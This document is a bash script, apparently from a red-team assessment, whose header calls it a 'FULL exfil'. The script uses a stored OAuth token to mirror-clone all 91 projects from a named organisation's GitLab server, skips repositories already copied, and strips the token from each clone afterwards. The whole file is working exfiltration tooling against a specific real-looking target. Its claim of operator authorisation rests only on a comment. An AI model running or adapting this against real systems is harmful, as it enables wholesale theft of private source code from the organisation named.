#!/usr/bin/env bash
# vdss FULL exfil: mirror-clone all 91 projects. Read-only content retrieval,
# operator full-cycle authorized. Resume-safe (skips existing). Token sanitized after.
set -u
D=/root/ir-assessment/redteam/gitlab_vdss_com_vn
TOK=$(cat "$D/.token")
HOST=gitlab.vdss.com.vn
DEST="$D/repos"
mkdir -p "$DEST"
export GIT_LFS_SKIP_SMUDGE=1 GIT_TERMINAL_PROMPT=0

mapfile -t PROJS < <(python3 -c "import json;[print(p['path']) for p in json.load(open('$D/.allprojects'))]")
TOTAL=${#PROJS[@]}
i=0; ok=0; fail=0
for p in "${PROJS[@]}"; do
  i=$((i+1))
  slug=$(echo "$p" | tr '/' '__')
  out="$DEST/$slug.git"
  if [ -d "$out" ] && git -C "$out" rev-list --all --count >/dev/null 2>&1; then
    ok=$((ok+1)); echo "[skip $i/$TOTAL] $p (exists)"; continue
  fi
  rm -rf "$out"
  url="https://oauth2:${TOK}@${HOST}/${p}.git"
  if git clone --mirror --quiet "$url" "$out" 2>"$out.err"; then
    ok=$((ok+1)); echo "[ok $i/$TOTAL] $p"
    rm -f "$out.err"
    # sanitize token from config immediately
    git -C "$out" remote set-url origin "https://${HOST}/${p}.git" 2>/dev/null
  else
    fail=$((fail+1)); echo "[FAIL $i/$TOTAL] $p : $(tail -1 "$out.err")"
  fi
done
echo "=== DONE ok=$ok fail=$fail total=$TOTAL ==="
echo "cloned size: $(du -sh "$DEST" | cut -f1), repos: $(ls -d "$DEST"/*.git 2>/dev/null | wc -l)"